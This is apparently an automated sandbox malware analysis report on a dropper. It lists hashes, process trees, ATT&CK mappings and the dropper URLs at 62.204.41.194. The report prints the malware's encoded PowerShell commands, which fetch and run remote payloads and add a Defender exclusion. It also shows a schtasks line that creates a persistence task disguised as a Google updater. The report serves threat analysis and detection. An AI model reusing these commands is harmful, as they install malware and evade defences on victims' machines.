1422a2c16b6e90bf37b24d20d6c4761820d5733db85f5e62e5b2af666d5c3080

General

Target

file.exe
Size

35KB
MD5

2b1574a5e07986f2f96f057aa1429868
SHA1

f3cf8f56614a973b9e5dfc93967d741b4280af8a
SHA256

1422a2c16b6e90bf37b24d20d6c4761820d5733db85f5e62e5b2af666d5c3080
SHA512

e6ab2b798dd94ba692e48f105b8c5fa626b05eed067a02faeab12a7e96038337c3333f144840a62144e748166c502cc9173d4b82b97cbcf1bd7ec66950a8c98d
SSDEEP

768:9JNx5dbpH/eB8TjEG90y4r/wOPpdwMNhghy0q9:9J/3Z/e6N94kmTghy0w

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/go.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/me.png

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

5 1900 powershell.exe
7 1920 powershell.exe
8 612 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

NoSleep.exe

pid process

1108 NoSleep.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

1900 powershell.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

928 schtasks.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exe

pid process

1920 powershell.exe
1136 powershell.exe
1900 powershell.exe
612 powershell.exe
1900 powershell.exe
1900 powershell.exe
1372 conhost.exe

flow	pid	process
5	1900	powershell.exe
7	1920	powershell.exe
8	612	powershell.exe

pid	process
1108	NoSleep.exe

pid	process
1900	powershell.exe

pid	process
928	schtasks.exe

pid	process
1920	powershell.exe
1136	powershell.exe
1900	powershell.exe
612	powershell.exe
1900	powershell.exe
1900	powershell.exe
1372	conhost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	1372	conhost.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

file.exepowershell.exeNoSleep.execonhost.execmd.execmd.exe

description	pid	process	target process
PID 1896 wrote to memory of 1920	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1920	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1920	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1900	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1900	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1900	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 612	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 612	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 612	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1136	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1136	1896	file.exe	powershell.exe
PID 1896 wrote to memory of 1136	1896	file.exe	powershell.exe
PID 1900 wrote to memory of 1108	1900	powershell.exe	NoSleep.exe
PID 1900 wrote to memory of 1108	1900	powershell.exe	NoSleep.exe
PID 1900 wrote to memory of 1108	1900	powershell.exe	NoSleep.exe
PID 1108 wrote to memory of 1372	1108	NoSleep.exe	conhost.exe
PID 1108 wrote to memory of 1372	1108	NoSleep.exe	conhost.exe
PID 1108 wrote to memory of 1372	1108	NoSleep.exe	conhost.exe
PID 1108 wrote to memory of 1372	1108	NoSleep.exe	conhost.exe
PID 1372 wrote to memory of 1624	1372	conhost.exe	cmd.exe
PID 1372 wrote to memory of 1624	1372	conhost.exe	cmd.exe
PID 1372 wrote to memory of 1624	1372	conhost.exe	cmd.exe
PID 1372 wrote to memory of 1660	1372	conhost.exe	cmd.exe
PID 1372 wrote to memory of 1660	1372	conhost.exe	cmd.exe
PID 1372 wrote to memory of 1660	1372	conhost.exe	cmd.exe
PID 1624 wrote to memory of 928	1624	cmd.exe	schtasks.exe
PID 1624 wrote to memory of 928	1624	cmd.exe	schtasks.exe
PID 1624 wrote to memory of 928	1624	cmd.exe	schtasks.exe
PID 1660 wrote to memory of 1680	1660	cmd.exe	schtasks.exe
PID 1660 wrote to memory of 1680	1660	cmd.exe	schtasks.exe
PID 1660 wrote to memory of 1680	1660	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1900

C:\Users\Admin\AppData\Roaming\NoSleep.exe
"C:\Users\Admin\AppData\Roaming\NoSleep.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1372

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
5⤵
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
6⤵
- Creates scheduled task(s)
PID:928

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
5⤵
- Suspicious use of WriteProcessMemory
PID:1660

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
6⤵
PID:1680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:612

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
5082b0a108057639d3b9a336fec8cf16

SHA1
fbca0f21c460311403b578e6240013df9fafa9f8

SHA256
26e19ed8ac8f406ce9c037e442d252a120f14e517e601ff3a6b7f21e33ce71b5

SHA512
d68180f6da8e36bed31e870b0b92c6828f9e432b5176feb7cf245b3ba601015ede845d7907499ebe8b1cc30c2123cca3bd8ce701abe831d83ea74932cb30ca74

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
5082b0a108057639d3b9a336fec8cf16

SHA1
fbca0f21c460311403b578e6240013df9fafa9f8

SHA256
26e19ed8ac8f406ce9c037e442d252a120f14e517e601ff3a6b7f21e33ce71b5

SHA512
d68180f6da8e36bed31e870b0b92c6828f9e432b5176feb7cf245b3ba601015ede845d7907499ebe8b1cc30c2123cca3bd8ce701abe831d83ea74932cb30ca74

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
5082b0a108057639d3b9a336fec8cf16

SHA1
fbca0f21c460311403b578e6240013df9fafa9f8

SHA256
26e19ed8ac8f406ce9c037e442d252a120f14e517e601ff3a6b7f21e33ce71b5

SHA512
d68180f6da8e36bed31e870b0b92c6828f9e432b5176feb7cf245b3ba601015ede845d7907499ebe8b1cc30c2123cca3bd8ce701abe831d83ea74932cb30ca74

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
memory/612-99-0x000000000250B000-0x000000000252A000-memory.dmp

Filesize
124KB

Download
memory/612-82-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/612-107-0x000000000250B000-0x000000000252A000-memory.dmp

Filesize
124KB

Download
memory/612-69-0x000007FEF4990000-0x000007FEF53B3000-memory.dmp

Filesize
10.1MB

Download
memory/612-88-0x000000000250B000-0x000000000252A000-memory.dmp

Filesize
124KB

Download
memory/612-70-0x000007FEF3E30000-0x000007FEF498D000-memory.dmp

Filesize
11.4MB

Download
memory/612-74-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/612-57-0x0000000000000000-mapping.dmp

Download
memory/612-106-0x0000000002504000-0x0000000002507000-memory.dmp

Filesize
12KB

Download
memory/928-104-0x0000000000000000-mapping.dmp

Download
memory/1108-94-0x0000000000000000-mapping.dmp

Download
memory/1136-86-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/1136-79-0x000000001B7E0000-0x000000001BADF000-memory.dmp

Filesize
3.0MB

Download
memory/1136-75-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/1136-87-0x00000000028AB000-0x00000000028CA000-memory.dmp

Filesize
124KB

Download
memory/1136-66-0x000007FEF4990000-0x000007FEF53B3000-memory.dmp

Filesize
10.1MB

Download
memory/1136-71-0x000007FEF3E30000-0x000007FEF498D000-memory.dmp

Filesize
11.4MB

Download
memory/1136-83-0x00000000028A4000-0x00000000028A7000-memory.dmp

Filesize
12KB

Download
memory/1136-58-0x0000000000000000-mapping.dmp

Download
memory/1372-97-0x000000001BB40000-0x000000001BF9C000-memory.dmp

Filesize
4.4MB

Download
memory/1372-98-0x0000000000150000-0x00000000005AB000-memory.dmp

Filesize
4.4MB

Download
memory/1372-100-0x000000001B6E0000-0x000000001BB14000-memory.dmp

Filesize
4.2MB

Download
memory/1624-101-0x0000000000000000-mapping.dmp

Download
memory/1660-103-0x0000000000000000-mapping.dmp

Download
memory/1680-105-0x0000000000000000-mapping.dmp

Download
memory/1896-54-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/1900-67-0x000007FEF4990000-0x000007FEF53B3000-memory.dmp

Filesize
10.1MB

Download
memory/1900-80-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/1900-92-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/1900-56-0x0000000000000000-mapping.dmp

Download
memory/1900-77-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/1900-73-0x000007FEF3E30000-0x000007FEF498D000-memory.dmp

Filesize
11.4MB

Download
memory/1900-96-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/1900-85-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/1920-78-0x000000001B840000-0x000000001BB3F000-memory.dmp

Filesize
3.0MB

Download
memory/1920-84-0x00000000028B4000-0x00000000028B7000-memory.dmp

Filesize
12KB

Download
memory/1920-91-0x00000000028BB000-0x00000000028DA000-memory.dmp

Filesize
124KB

Download
memory/1920-72-0x000007FEF3E30000-0x000007FEF498D000-memory.dmp

Filesize
11.4MB

Download
memory/1920-89-0x00000000028BB000-0x00000000028DA000-memory.dmp

Filesize
124KB

Download
memory/1920-76-0x00000000028B4000-0x00000000028B7000-memory.dmp

Filesize
12KB

Download
memory/1920-64-0x000007FEF4990000-0x000007FEF53B3000-memory.dmp

Filesize
10.1MB

Download
memory/1920-90-0x00000000028B4000-0x00000000028B7000-memory.dmp

Filesize
12KB

Download
memory/1920-59-0x000007FEFC621000-0x000007FEFC623000-memory.dmp

Filesize
8KB

Download
memory/1920-55-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads